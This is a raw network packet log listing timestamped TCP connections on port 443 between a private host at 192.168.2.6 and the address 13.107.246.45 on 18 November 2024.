Nov 18, 2024 02:34:36.394993067 CET	49839	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.395018101 CET	443	49839	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.395035982 CET	49839	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.395042896 CET	443	49839	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.410696983 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.410744905 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.410765886 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.410778046 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.424323082 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.424371958 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.424422026 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.425582886 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.425616026 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.425678015 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.426085949 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.426106930 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.427651882 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.427666903 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.427908897 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.427922964 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.427932978 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.428092957 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.428106070 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.935652971 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.935834885 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.937479973 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.937508106 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.938004017 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.938040018 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.938205957 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.938214064 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.938493967 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.938504934 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.065080881 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.065242052 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.065305948 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.067197084 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.067377090 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.067470074 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.072007895 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.072007895 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.072047949 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.072073936 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.073339939 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.073339939 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.073390961 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.073420048 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.079112053 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.079113960 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.079149961 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.079160929 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.079200983 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.079227924 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.080651045 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.080670118 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.080976963 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.080998898 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.155958891 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.156728029 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.156750917 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.157422066 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.157429934 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.168437958 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.171606064 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.171623945 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.172316074 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.172321081 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.203711033 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.204447985 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.204485893 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.206655025 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.206660986 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.286588907 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.286722898 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.286792040 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.286817074 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.286835909 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.286911011 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.288630009 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.288660049 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.288675070 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.288682938 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.298396111 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.298427105 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.298490047 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.298789978 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.298801899 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.300553083 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.300604105 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.300652981 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.300700903 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.301347971 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.301359892 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.301372051 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.301377058 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.311589003 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.311635017 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.311701059 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.314918041 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.314938068 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.339343071 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.339402914 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.339452028 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.340492964 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.340502024 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.340512037 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.340516090 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.343767881 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.343803883 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.343867064 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.343988895 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.344006062 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.816346884 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.816803932 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.816833019 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.817379951 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.817387104 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.825166941 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.827800989 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.827822924 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.828294039 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.828303099 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.944652081 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.944726944 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.944848061 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.944905996 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.944967031 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.944967031 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.944978952 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.944988966 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.948082924 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.948115110 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.948225975 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.948457956 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.948470116 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.955274105 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.955475092 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.955569029 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.955601931 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.955602884 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.955617905 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.955627918 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.957906008 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.957942963 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:37.958066940 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.958472967 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:37.958514929 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.027512074 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.028734922 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.028749943 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.029480934 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.029485941 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.059721947 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.060261965 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.060348034 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.060659885 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.060672998 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.075611115 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.076190948 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.076209068 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.076723099 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.076730967 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.158283949 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.158363104 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.158452988 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.158721924 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.158735037 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.158746958 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.158751965 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.161485910 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.161514044 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.161705971 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.161815882 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.161828995 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.191456079 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.191677094 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.191730976 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.191749096 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.191833019 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.191926956 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.191941977 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.191951990 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.191957951 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.196041107 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.196068048 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.196185112 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.197273016 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.197289944 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.207528114 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.207609892 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.207653999 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.208010912 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.208019018 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.208028078 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.208033085 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.210833073 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.210863113 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.211857080 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.212080002 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.212094069 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.672678947 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.673139095 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.673161030 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.673549891 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.673559904 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.802206039 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.802278042 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.802347898 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.802366972 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.802407980 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.802473068 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.802581072 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.802581072 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.802599907 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.802612066 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.805299044 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.805331945 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.805423975 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.805629969 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.805649042 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.893668890 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.894134045 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.894155979 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.894583941 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.894591093 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.945282936 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.945740938 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.945754051 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.945769072 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.946172953 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.946177959 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.946288109 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.946306944 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:38.946611881 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:38.946621895 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.024327040 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.024488926 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.024548054 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.024760008 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.024776936 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.027631044 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.027666092 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.027748108 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.028341055 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.028357983 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.053507090 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.053858995 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.053880930 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.054430962 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.054436922 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.074935913 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.075011015 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.075097084 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.075108051 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.075146914 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.075159073 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.075223923 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.075421095 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.075496912 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.100215912 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.100229979 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.100244999 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.100251913 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.100892067 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.100892067 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.100908995 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.100917101 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.127348900 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.127387047 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.127530098 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.129381895 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.129477978 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.129861116 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.195997953 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.196204901 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.197384119 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.200356007 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.200390100 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.200531960 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.200556993 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.200869083 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.200869083 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.200881958 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.200890064 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.204344988 CET	49869	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.204392910 CET	443	49869	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.204580069 CET	49869	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.204710007 CET	49869	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.204730034 CET	443	49869	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.547678947 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.548258066 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.548288107 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.548703909 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.548712015 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.682998896 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.683079004 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.683135033 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.738301992 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.738325119 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.738337994 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.738346100 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.763514042 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.799340010 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.799374104 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.799859047 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.799868107 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.826437950 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.826473951 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.826538086 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.829103947 CET	49873	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.829124928 CET	443	49873	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.924582958 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.924616098 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.924663067 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.924668074 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.924755096 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.925357103 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.925376892 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.925390959 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.925398111 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.931164980 CET	49874	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.931197882 CET	443	49874	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.931266069 CET	49874	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.931701899 CET	49874	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.931719065 CET	443	49874	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.937017918 CET	443	49869	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.937968969 CET	49869	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.938019991 CET	443	49869	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.938957930 CET	49869	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.938972950 CET	443	49869	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.951334000 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.952663898 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.956026077 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.956058979 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.957149982 CET	49868	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.957155943 CET	443	49868	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.959275007 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.959295034 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:39.959683895 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:39.959692955 CET	443	49867	13.107.246.45	192.168.2.6
